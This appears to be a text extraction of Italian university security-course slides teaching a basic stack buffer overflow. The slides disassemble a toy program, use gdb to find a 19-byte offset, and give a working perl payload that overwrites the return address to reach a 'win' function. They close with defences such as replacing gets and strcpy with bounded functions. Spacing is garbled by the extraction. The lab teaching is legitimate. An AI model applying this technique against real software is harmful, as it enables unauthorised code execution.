a#acchi base: buffer overflow - people.unica.it · ebp-0xf sul registro eax, muove il contenuto...

28
Pattern Recognition and Applications Lab Università di Cagliari, Italia Dipartimento di Ingegneria Elettrica ed Elettronica A#acchi Base: Buffer Overflow Do#. Ing. Davide Maiorca, Ph.D. [email protected] Corso di Sicurezza Informa<ca – A.A. 2015/2016

Upload: others

Post on 10-May-2020

2 views

Category:

Documents


0 download

TRANSCRIPT

Pattern Recognition and Applications Lab

Università

di Cagliari, Italia

Dipartimento di Ingegneria Elettrica

ed Elettronica

A#acchiBase:BufferOverflow

Do#.Ing.DavideMaiorca,Ph.D.

[email protected]

CorsodiSicurezzaInforma<ca–A.A.2015/2016

http://pralab.diee.unica.it

Sommario

•  Introduzione•  AnalisidiunProgrammaVulnerabile–  AltriElemen<Assembly–  Analisifunzioni

•  Exploi8ng–  Analisidellostackvulnerabile–  A#accoallostack–  Contromisure

http://pralab.diee.unica.it

Introduzione

http://pralab.diee.unica.it

Introduzione–Vulnerabilità

•  Finoraabbiamoanalizzatouneseguibilesenzapossederneilsuosorgente

•  Laprossimadomandaè:cherelazionehailreverseengineeringconlasicurezza?

•  Una*accantepuòanalizzareuneseguibilealfineditrovaredellevulnerabilità

•  UnavulnerabilitàèunerrorediprogrammazioneilcuisfruEamentopuòportareadunaviolazionediintegritàeconfidenzialitàdiunsistema–  Sonostatedatetantedefinizionidivulnerabilità(ISO,NIST,ENISA…)

•  Avetegiàvistodegliesempi…–  CrossSiteScrip<ng–  SQLInjec<on

•  Inquestalezioneanalizzeremolavulnerabilità«regina»legataall’esecuzionediunprogramma,ovveroilbufferoverflow

http://pralab.diee.unica.it

Introduzione–BufferOverflow

•  Vulnerabilitàconcernentelages:onedellamemoriae,inpar8colare,unacaRvages8onedellostack

•  PotetegiàimmaginaredicosasitraRdalnome…•  Unbufferèunazonadimemoriapensataperconteneredeida8•  Lapar8colaritàdiquestazonaècheladimensionedeida8èprefissata•  L’esempiopiùclassicodibufferè,adesempio,unarray•  Unoverflowaccadequandoinseriamodeida8chesuperanolacapacità

delbuffer–  Banalmente:inseriteinmemoriaunastringadi5caraEeriinunbufferdi4caraEeri…

charstr[3]

CIAOO-> CIAOOOVERFLOW!

http://pralab.diee.unica.it

Challenge!

•  Apriteilprogramma«invincibile»•  Doveteindovinareilcodicesegreto!•  Mal’impresanonsembracosìsemplice…•  Per«sconfiggere»ilprogramma«invincibile»ciserveuncambiodi

prospe=va…•  Chiediamoci:ilprogrammaèsicuro?•  Inquestalezioneimpareretecosapuòsuccederequandounprogramma

èvulnerabileadunbufferoverflow…–  Inpar8colare,imparereteasfruEareunbufferoverflowavostrovantaggio…–  Ancheiprogrammiinvincibili(mainsicuri…)possonoesseresconfiR!

http://pralab.diee.unica.it

AnalisiProgrammaVulnerabile

http://pralab.diee.unica.it

DISCLAIMER

IVALORIDEIREGISTRI(ebp,esp,eax…)POSSONOESSEREDIVERSIASECONDADELLAVOSTRA

ARCHITETTURAEVENGONORIPORTATISULLESLIDESQUELLIOTTENUTIDALLAMACCHINAVIRTUALEUSATAALEZIONE

http://pralab.diee.unica.it

AnalisiProgramma(primaocchiata)

•  Ilprogrammavichiedediinserireuncodicedimassimo3cifre…•  Notatecomeilcodicesiasempreerrato(amenodiclamorosicolpidi

fortuna…)•  Ilmassimodi3cifredovrebbestuzzicarvi…

–  Cosasuccedeseinseritepiùdi3cifre?

•  Proviamocon5-10cifre…–  Apparentementenonsuccedeniente…

•  Adessoproviamocon15cifre…–  Perdetecomunque…–  Mariceveteunerroredisegmenta8onfault!

•  Segmenta8onfaultavvienequandoilprogrammatentadiscriveredeida8inmemoriainsegmen8nonper:nen:–  Adesempio,tentodiscrivereinunsegmentochenondisponedelflagw–  Questoerrorenondovrebbemaicomparire…–  E’ilprimoindiziocheilprogrammapossaesserevulnerabile!

http://pralab.diee.unica.it

AnalisiSta<caProgramma

•  Vediamodidisassemblarel’eseguibile–  objdump–dinvincible

•  Comeprima,cerchiamodiindividuaredellefunzionicheabbianodeinomiinteressan:…–  main–  inserire_codice–  genera_codice–  win–  lose

•  Adessoguardiamolafunzionemain,inpar8colarelechiamatecall–  Vediamoquest’ordinedichiamate:

•  genera_codice•  puts•  inserire_codice•  win•  lose

http://pralab.diee.unica.it

Elemen<diAssemblyX86(2)

•  Altreistruzioni–  JMP<offset>:Saltononcondizionato–  CMP:Confrontaicontenu<didueregistri(oregis<ememoria)edimpostaunflag

specialea1seidueelemen<hannolostessovalore–  JNE<offset>(disolitoaccoppiatoconcmp):saltaall’offsetseilflagspecialeè

impostatoazero(quindiseidueelemen<confronta<concmpnonsonouguali)–  JEQ<offset>(disolitoaccoppiatoconcmp):saltaall’offsetseilflagspecialeè

impostatoauno(quindiseidueelemen<confronta<concmpsonouguali)–  LEAaddress,register:caricaunindirizzodimemoriasuunregistro–  SAR,n_bit,reg:esegueunoshiedinbitsulvaloredelregistroreg–  IMUL,reg,value:mol<plicailvalorecontenutodiunregistroperunvaloreintero

http://pralab.diee.unica.it

AnalisiMain(1)

•  Naturalmente,guardarelasequenzadichiamatenonèsufficiente!

08048597<main>:8048597:push%ebp8048598:mov%esp,%ebp804859a:and$0xfffffff0,%esp804859d:sub$0x20,%esp80485a0:call8048521<genera_codice>80485a5:mov%eax,0x18(%esp)80485a9:movl$0x80486ac,(%esp)80485b0:call80483a0<puts@plt>80485b5:call80484fd<inserire_codice>80485ba:mov%eax,0x1c(%esp)…

Preparalachiamatadifunzioni

Chiama<genera_codice>esalvailrisultatonellostack(suesp+0x18)

Memorizzalastringaparametronellostackechiamaputssuquellastringa

Chiama<inserire_codice>ememorizzailrisultatonellostack(suesp+0x1c)

http://pralab.diee.unica.it

AnalisiMain(2)

•  Naturalmente,guardarelasequenzadichiamatenonèsufficiente!

80485be:mov0x1c(%esp),%eax80485c2:cmp0x18(%esp),%eax80485c6:jne80485cf<main+0x38>80485c8:call804856f<win>80485cd:jmp80485d4<main+0x3d>80485cf:call8048583<lose>80485d4:mov$0x0,%eax

Confrontailrisultatodi<inserire_codice>(messosueax)e<genera_codice>(presodallostack)

Seilrisultatodelconfrontononèparia1(quindiidueelemen8sonouguali),vaiallafunzioneloseALTRIMENTICONTINUAL’ESECUZIONEconwineSALTAALL’ULTIMAmov(E’sostanzialmentel’equivalentediunif-elseinC,soltantoespressoinmanieraleggermentediversa)

http://pralab.diee.unica.it

Funzioniwinelose

•  Quindi:ilmainchiamaduefunzionicheres8tuisconoduevalori•  Ques8valorivengonoconfronta8•  Easecondadelconfrontovengonochiamateduefunzionidiverse!•  Consideratoilfunzionamentodelprogramma,possiamosupporrechese

ilcodiceècorreEovienechiamatawin,altrimen8lose•  Osserviamol’assemblydellefunzioniwinelose•  Sostanzialmentesonodueputs!•  Quindilefunzioniwinelosesioccupanodistampareunmessaggioa

video!•  winagiscesullastringaall’indirizzo0x8048670,mentreloseagiscesulla

stringaall’indirizzo0x804868c

http://pralab.diee.unica.it

Dumpstringhe

•  Eseguiteobjdump–sinvicible.Potetevederequellocheè,fondamentalmente,l’hexdumpdelfileraggruppatopersezioni

Contenutodellasezione.rodata:804866803000000010002004861692076696e74........Haivint80486786f2120436f6469636520636f72726574o!Codicecorret8048688746f210048616920706572736f212049to!.Haiperso!I80486986c20636f6469636520c3a82065727261lcodice..erra80486a8746f2100496e73657269726520636f64to!.Inserirecod80486b869636520286d617373696d6f20332063ice(massimo3c80486c8696672652e2e2e293a00ifre...):.

Indirizzoprimobytedellariga

0x8048670(stringafunzionewin)

0x804868c(stringafunzionelose)

Orasappiamocosastampanolefunzioniwinelose!Diconseguenza,nell’esecuzionedelprogrammaarriviamosempreallafunzionelose!

http://pralab.diee.unica.it

Funzionegenera_codice

•  Restanodaanalizzaregenera_codiceedinserire_codice•  genera_codiceèunafunzionemoltolunga!•  NonnevedremoideEagliperragioniditempo…

–  PotrestestudiarvelacomeesercizioJ

•  Vengonochiamatelefunzioni8me,sranderand•  Moltoprobabilmenteècoinvoltalagenerazionediunnumerocasuale…•  …edeffeRvamenteèpropriocosì!•  Generacodicegeneraunvalorecasualefra0e999(compresi)•  Quindiognivoltacheeseguiteilprogrammailcodiceèsemprediverso!•  Unpo’difficile,così,raggiungerelafunzionewin…•  Amenodigrossicolpidifortuna,raggiungeretesemprelafunzionelose!•  Amenoche…

http://pralab.diee.unica.it

Funzioneinserire_codice

•  Cosapossiamodiredellafunzioneinserire_codice?

push%ebpmov%esp,%ebpsub$0x28,%esplea-0xf(%ebp),%eaxmov%eax,(%esp)call8048380<gets@plt>lea-0xf(%ebp),%eaxmov%eax,(%esp)call80483f0<atoi@plt>mov%eax,-0xc(%ebp)mov-0xc(%ebp),%eax

Liberamemoriaperlachiamatadifunzioni

Carical’indirizzodimemoriapuntatodaebp-0xfsulregistroeax,muoveilcontenutodieaxSULLALOCAZIONEPUNTATADAESP(aEenzionealleparentesisu%esp)echiamagets

Comepergets,maquestavoltavienechiamatalafunzioneatoi.Ilrisultatovienesalvatoinunavariabilelocale(lamov)evienepoi«ricaricato»nelregistroaccumulatore

http://pralab.diee.unica.it

Exploi8ng

http://pralab.diee.unica.it

Funzioneinserire_codice-StackStackFrame(Perlafunzioneinserirecodice)

ESP

…lea-0xf(%ebp),%eaxmov%eax,(%esp)Questaèl’esecuzionedellostackdopolamovprimadellachiamatadigets.Lostackèstato«accorciato»permo<vidispazio.Quandovienechiamatalagets,vieneinseritonellostack,comeparametro,l’indirizzodibasedell’array.L’arrayverràquindimemorizzatoapar<redaEBP-0xf.Notabene:nonèdeEochel’indirizzodipartenzadell’arraysianecessariamenteunmul8plodi4

EBPPrecedenteEBP

esp=0xbffff000ebp=0xbffff028ebp-0xf=0xbffff019

EBP–0xf

mainReturnADDRESS

EBP–0xf

http://pralab.diee.unica.it

Funzioneinserire_codice–Stack(2)StackFrame(Perlafunzioneinserirecodice)

ESP

…lea-0xf(%ebp),%eaxmov%eax,(%esp)call8048380<gets@plt>Quandogetsvienechiamata,l’utentedeveinseriredeicara#eridatas<era.Ilrisultatoèunarraydichar,incuiognicharècompostodaunbyte.Immaginiamochel’utenteinseriscalastringa«123»(l’arrayèstatodichiaratodatrecaraEerimal’utenteNONlosa).Ricordateviche,acausadelli#leendian,ilprimonumerocoprel’indirizzoINFERIOREdellostack…

EBP

esp=0xbffff000ebp=0xbffff028ebp-0xf=0xbffff019

EBP–0xf

mainReturnADDRESS

EBP–0xf 123

EBPPrecedente

0

http://pralab.diee.unica.it

Funzioneinserire_codice–Overflow!StackFrame(Perlafunzioneinserirecodice)

ESP

…lea-0xf(%ebp),%eaxmov%eax,(%esp)call8048380<gets@plt>Lafunzionegetsnoneffe#uaalcuncontrollosulladimensionedell’array.Cioèsignificachearraypiùgrandidelladimensionedichiaratapossonoesserescririnmemoria.Adesempio,questoècosasuccedeseinserite«123456».SIETELIBERIDIRIEMPIRELOSTACKAVOSTROPIACIMENTO.

EBP

esp=0xbffff000ebp=0xbffff028ebp-0xf=0xbffff019

EBP–0xf

mainReturnADDRESS

EBP–0xf 123456

EBPPrecedente

http://pralab.diee.unica.it

Funzioneinserire_codice–A#accoStackFrame(Perlafunzioneinserirecodice)

ESP

…lea-0xf(%ebp),%eaxmov%eax,(%esp)call8048380<gets@plt>Siamoliberidiriempirelostackcomevogliamo.Normalmentequestoporterebbeadeglierroridisegmenta<onfault…Macosasuccedessesefossimocosìbravidariempirelostackinmanieracontrollata,inmododasovrascrivereilreturnaddressconunaltroindirizzo?Potremmo,adesempio,saltaredireEamenteallafunzionewin…

Da<SovrascrirEBP

esp=0xbffff000ebp=0xbffff028ebp-0xf=0xbffff019

EBP–0xf

winAddress

EBP–0xf 123456

Da<Sovrascrir

http://pralab.diee.unica.it

All’a#acco!

•  Nellapra8caquestoaEaccoèassolutamentepossibile…•  gdbinvincible•  break0*8048509

–  Cis8amofermandoprimachelafunzionegetsvengachiamata

•  Inforegistersebp–  ebp=0xbffff028

•  Sonoglistessivalorisegna8nelleslidepreceden8

•  Dall’analisista8ca,sappiamochel’arrayiniziadaebp-0xf.•  Perarrivarearidossodell’indirizzodiritorno,dobbiamoquindiriempire

lostackcon0xf(15)+4bytes=19bytes•  L’aEualeindirizzodiritornositrovaadebp+4

–  0x080485ba(prossimaistruzionedelmain)

•  ObieRvofinale:sos8tuirel’indirizzodiritornoconl’indirizzodiwin–  Inquestoesempioè0x0804856f(dovetesovrascriverel’interoindirizzo!)

http://pralab.diee.unica.it

All’a#acco!(2)

•  Quindi,quandogetsvirichiedediinserireida8…•  DoveteprimadituEoinserire19bytes•  Laprimapartedellastringapuòessere,adesempio,

1111111111111111111•  Oradoveteassicurarvidiinserireinmemoriaibytespersovrascrivere

l’indirizzodiritorno–  Doveteinserireibytesinquestomodo:\xByte–  RispeEatelaliEleendianess(adueadue).PRIMAGLIULTIMIDUEVALORI,POII

PENULTIMIDUE,etc.–  Quindi:\x6f\x85\x04\x08

•  Lastringafinaledainseriredovrebbeessere:1111111111111111111\x6f\x85\x04\x08

•  TuEavia,qualcosaancoranonva…•  Seinseritequestastringa,avreteancorasegmenta8onfault…L

http://pralab.diee.unica.it

EXPLOIT!

•  LaragioneèdaricercarsinelfaEocheilprogrammaprendeiningressodeicaraEeri–  OgnivaloreesadecimalehaunatraduzioneincaraEeri…–  Sfortunatamente,alcuninonpossonoessereinseri8datas8eraL

•  Perovviarealproblema,civieneinaiutolafunzioneprintdellinguaggioperl•  Poteteusarequestointerpretepertradurreinautoma8codegliesadecimali

incaraEerinoninseribilidall’utente•  Unbuonmodoperfarequestoè:

–  ScrivereicaraEerisuunfiletemporaneo–  Almomentodell’esecuzione,direalprogrammaditrasferirelostandardinputdatas8eraa

file

•  Quindi…chiudetegdbedeseguiteperl-e'print"1"x19;print"\x6f\x85\x04\x08";'>/tmp/input•  ConperlsipossonofacilmenteripetereicaraEericon‘print«caraEere»*numero•  Ogniistruzioneperlèseparata,comeilC,daunpuntoevirgola(statequindieseguendodue

istruzioni•  >/tmp/inputscrivesufile

http://pralab.diee.unica.it

EpicWin!

•  ./invincible</tmp/input

http://pralab.diee.unica.it

Comedifendersi?(inquestocaso)

•  Questoèilcasopiùsemplicedibufferoverflow•  Perdifendersi,bisognaevitarediu8lizzarefunzionichenoneffeEuanoil

controllosulladimensionedegliarray–  gets–  strcpy–  sprinW–  SonotuEefunzionivulnerabili!

•  U8lizzate,invece,funzionicheeffeEuanoilcontrollosulladimensionedegliarray–  fgets–  strncpy–  snprin�

•  Inognicaso,compilatoricomegccviavvisanosestateusandodellefunzioni«vulnerabili»

http://pralab.diee.unica.it

Inconclusione…

•  L’analisidiunaapplicazionevulnerabileconsentedieffeEuaredeipoten8aEacchi,comeilbufferoverflow

•  TaliaEacchipossonofaravereall’applicazionedeicomportamen8«anomali»

•  TuEavia,questoancoranonbasta…•  Unbufferoverflowpiùavanzatopotrebbeessereusatopercreare

ancorapiùdanni…•  …adesempio,puòconsen8rediprendereilcontrollodiunamacchina

Linux(oWindows)•  NellaprossimalezionevedremounesempioditaleaEaccoed

esploreremotecnichedidifesapiùcomplesse